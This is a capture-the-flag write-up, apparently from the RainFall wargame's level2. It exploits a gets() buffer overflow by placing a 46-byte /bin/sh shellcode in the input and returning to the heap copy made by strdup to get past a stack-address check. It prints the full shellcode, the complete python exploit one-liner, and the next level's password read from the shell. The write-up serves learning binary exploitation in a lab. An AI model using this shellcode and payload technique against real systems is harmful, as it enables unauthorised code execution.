179 lines
		
	
	
		
			6.6 KiB
		
	
	
	
		
			Plaintext
		
	
	
	
			
		
		
	
	
			179 lines
		
	
	
		
			6.6 KiB
		
	
	
	
		
			Plaintext
		
	
	
	
Code has 1 function that's interesting : p.
 | 
						||
 | 
						||
```
 | 
						||
0x080484d4 <p+0>:	push   ebp
 | 
						||
0x080484d5 <p+1>:	mov    ebp,esp
 | 
						||
0x080484d7 <p+3>:	sub    esp,0x68
 | 
						||
0x080484da <p+6>:	mov    eax,ds:0x8049860
 | 
						||
0x080484df <p+11>:	mov    DWORD PTR [esp],eax
 | 
						||
0x080484e2 <p+14>:	call   0x80483b0 <fflush@plt>
 | 
						||
0x080484e7 <p+19>:	lea    eax,[ebp-0x4c]
 | 
						||
0x080484ea <p+22>:	mov    DWORD PTR [esp],eax
 | 
						||
0x080484ed <p+25>:	call   0x80483c0 <gets@plt>
 | 
						||
0x080484f2 <p+30>:	mov    eax,DWORD PTR [ebp+0x4]
 | 
						||
0x080484f5 <p+33>:	mov    DWORD PTR [ebp-0xc],eax
 | 
						||
0x080484f8 <p+36>:	mov    eax,DWORD PTR [ebp-0xc]
 | 
						||
0x080484fb <p+39>:	and    eax,0xb0000000
 | 
						||
0x08048500 <p+44>:	cmp    eax,0xb0000000
 | 
						||
0x08048505 <p+49>:	jne    0x8048527 <p+83>
 | 
						||
0x08048507 <p+51>:	mov    eax,0x8048620
 | 
						||
0x0804850c <p+56>:	mov    edx,DWORD PTR [ebp-0xc]
 | 
						||
0x0804850f <p+59>:	mov    DWORD PTR [esp+0x4],edx
 | 
						||
0x08048513 <p+63>:	mov    DWORD PTR [esp],eax
 | 
						||
0x08048516 <p+66>:	call   0x80483a0 <printf@plt>
 | 
						||
0x0804851b <p+71>:	mov    DWORD PTR [esp],0x1
 | 
						||
0x08048522 <p+78>:	call   0x80483d0 <_exit@plt>
 | 
						||
0x08048527 <p+83>:	lea    eax,[ebp-0x4c]
 | 
						||
0x0804852a <p+86>:	mov    DWORD PTR [esp],eax
 | 
						||
0x0804852d <p+89>:	call   0x80483f0 <puts@plt>
 | 
						||
0x08048532 <p+94>:	lea    eax,[ebp-0x4c]
 | 
						||
0x08048535 <p+97>:	mov    DWORD PTR [esp],eax
 | 
						||
0x08048538 <p+100>:	call   0x80483e0 <strdup@plt>
 | 
						||
0x0804853d <p+105>:	leave
 | 
						||
0x0804853e <p+106>:	ret
 | 
						||
```
 | 
						||
 | 
						||
*Fig 1. Disassembly of p function*
 | 
						||
 | 
						||
We notice there's a get to exploit, however, we have no idea where we could
 | 
						||
return as there is no shell opened anywhere in the program.
 | 
						||
We have to use a shellcode for this, which is a asm code that opens a shell.
 | 
						||
We are going to put in in our input string, and jump onto the start of it.
 | 
						||
 | 
						||
First step is to find the return address' of p in the stack.
 | 
						||
 | 
						||
```
 | 
						||
(gdb) b *p+0
 | 
						||
Breakpoint 2 at 0x80484d4
 | 
						||
(gdb) run
 | 
						||
Starting program: /home/user/level2/level2
 | 
						||
 | 
						||
Breakpoint 2, 0x080484d4 in p ()
 | 
						||
(gdb) p $esp
 | 
						||
$1 = (void *) 0xbffff72c
 | 
						||
```
 | 
						||
 | 
						||
Then we'll need to figure out the size of our gets stack, we can count
 | 
						||
 | 
						||
```
 | 
						||
0x080484d4 <p+0>:   push   ebp                     // esp -= 4
 | 
						||
0x080484d5 <p+1>:   mov    ebp,esp                 // ebp = esp
 | 
						||
0x080484d7 <p+3>:   sub    esp,0x68                // allocate 104 bytes
 | 
						||
0x080484da <p+6>:   mov    eax,ds:0x8049860
 | 
						||
0x080484df <p+11>:  mov    DWORD PTR [esp],eax
 | 
						||
0x080484e2 <p+14>:  call   0x80483b0 <fflush@plt>
 | 
						||
0x080484e7 <p+19>:  lea    eax,[ebp-0x4c]          // read to top 76 bytes
 | 
						||
0x080484ea <p+22>:  mov    DWORD PTR [esp],eax      
 | 
						||
0x080484ed <p+25>:  call   0x80483c0 <gets@plt>
 | 
						||
```
 | 
						||
 | 
						||
So we have 76 bytes for the correct usage of the function, then 4 bytes that
 | 
						||
should contain the old value of ebp, then we should be at our ret address.
 | 
						||
 | 
						||
So we will put our shell code, then some 'A's until 80 characters, then the
 | 
						||
address of our shell code which should be the ret address + 8.
 | 
						||
 | 
						||
Let's try :)
 | 
						||
 | 
						||
Shellcode is 46 bytes long, so we need 34 'A'
 | 
						||
 | 
						||
Here is the shellcode taken from the internet :
 | 
						||
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
 | 
						||
 | 
						||
 | 
						||
```
 | 
						||
level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x24\xf7\xff\xbf')"; cat) | ./level2 
 | 
						||
(0xbffff724)
 | 
						||
whoami
 | 
						||
```
 | 
						||
 | 
						||
It print's our return address and then exits to cat but no shell was opened.
 | 
						||
 | 
						||
This is because we entered this branch 
 | 
						||
 | 
						||
```
 | 
						||
0x080484f2 <p+30>:  mov    eax,DWORD PTR [ebp+0x4] // eax = ebp[4]
 | 
						||
^ This line puts the return address's value of p function into eax register
 | 
						||
0x080484f5 <p+33>:  mov    DWORD PTR [ebp-0xc],eax // ebp[-12] = eax
 | 
						||
0x080484f8 <p+36>:  mov    eax,DWORD PTR [ebp-0xc] // eax = ebp[-12]
 | 
						||
0x080484fb <p+39>:  and    eax,0xb0000000
 | 
						||
0x08048500 <p+44>:  cmp    eax,0xb0000000
 | 
						||
0x08048505 <p+49>:  jne    0x8048527 <p+83>
 | 
						||
0x08048507 <p+51>:  mov    eax,0x8048620
 | 
						||
0x0804850c <p+56>:  mov    edx,DWORD PTR [ebp-0xc]
 | 
						||
0x0804850f <p+59>:  mov    DWORD PTR [esp+0x4],edx
 | 
						||
0x08048513 <p+63>:  mov    DWORD PTR [esp],eax
 | 
						||
0x08048516 <p+66>:  call   0x80483a0 <printf@plt>
 | 
						||
0x0804851b <p+71>:  mov    DWORD PTR [esp],0x1
 | 
						||
0x08048522 <p+78>:  call   0x80483d0 <_exit@plt>
 | 
						||
```
 | 
						||
 | 
						||
So we cannot ever return on our string. At the end of the function tho, strdup
 | 
						||
is called on our string 
 | 
						||
 | 
						||
```
 | 
						||
 25 0x08048527 <p+83>:  lea    eax,[ebp-0x4c]
 | 
						||
 26 0x0804852a <p+86>:  mov    DWORD PTR [esp],eax
 | 
						||
 27 0x0804852d <p+89>:  call   0x80483f0 <puts@plt>
 | 
						||
 28 0x08048532 <p+94>:  lea    eax,[ebp-0x4c]		// same as gets argument
 | 
						||
 29 0x08048535 <p+97>:  mov    DWORD PTR [esp],eax
 | 
						||
 30 0x08048538 <p+100>: call   0x80483e0 <strdup@plt>
 | 
						||
 31 0x0804853d <p+105>: leave
 | 
						||
```
 | 
						||
 | 
						||
So we can check the return address of strdup.
 | 
						||
 | 
						||
```
 | 
						||
(gdb) b *p+105
 | 
						||
Breakpoint 1 at 0x804853d
 | 
						||
(gdb) run < shellcode_bf
 | 
						||
Starting program: /home/user/level2/level2 < shellcode_bf
 | 
						||
(0xbffff724)
 | 
						||
[Inferior 1 (process 5098) exited with code 01]
 | 
						||
(gdb) run < exploit3.txt
 | 
						||
Starting program: /home/user/level2/level2 < exploit3.txt
 | 
						||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<EFBFBD><EFBFBD>F1<EFBFBD>1<EFBFBD>̀<EFBFBD>[1<><31>C<EFBFBD><43>C
 | 
						||
                                  <20>
 | 
						||
                                   <20><>S
 | 
						||
                                      <20><><EFBFBD><EFBFBD><EFBFBD>/bin/sh<73><68><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 | 
						||
 | 
						||
Breakpoint 1, 0x0804853d in p ()
 | 
						||
(gdb) i r
 | 
						||
eax            0x804a008	134520840
 | 
						||
ecx            0x0	0
 | 
						||
edx            0xbffff6dc	-1073744164
 | 
						||
ebx            0xb7fd0ff4	-1208152076
 | 
						||
esp            0xbffff6c0	0xbffff6c0
 | 
						||
ebp            0xbffff728	0xbffff728
 | 
						||
esi            0x0	0
 | 
						||
edi            0x0	0
 | 
						||
eip            0x804853d	0x804853d <p+105>
 | 
						||
eflags         0x200282	[ SF IF ID ]
 | 
						||
cs             0x73	115
 | 
						||
ss             0x7b	123
 | 
						||
ds             0x7b	123
 | 
						||
es             0x7b	123
 | 
						||
fs             0x0	0
 | 
						||
gs             0x33	51
 | 
						||
(gdb)
 | 
						||
```
 | 
						||
 | 
						||
We see eax is 0x804a008, let's replace our command with this address.
 | 
						||
 | 
						||
```(python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2```
 | 
						||
 | 
						||
```
 | 
						||
level2@RainFall:~$ (python -c "print('\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'+'A'*34+'\x08\xa0\x04\x08')"; cat) | ./level2
 | 
						||
1<EFBFBD><EFBFBD>F1<EFBFBD>1<EFBFBD>̀<EFBFBD>[1<><31>C<EFBFBD><43>C
 | 
						||
                 <20>
 | 
						||
                  <20><>S
 | 
						||
                     <20><><EFBFBD><EFBFBD><EFBFBD>/bin/shAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
 | 
						||
whoami
 | 
						||
level3
 | 
						||
cat /home/user/level3/.pass
 | 
						||
492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02
 | 
						||
 | 
						||
```
 | 
						||
 | 
						||
:)
 |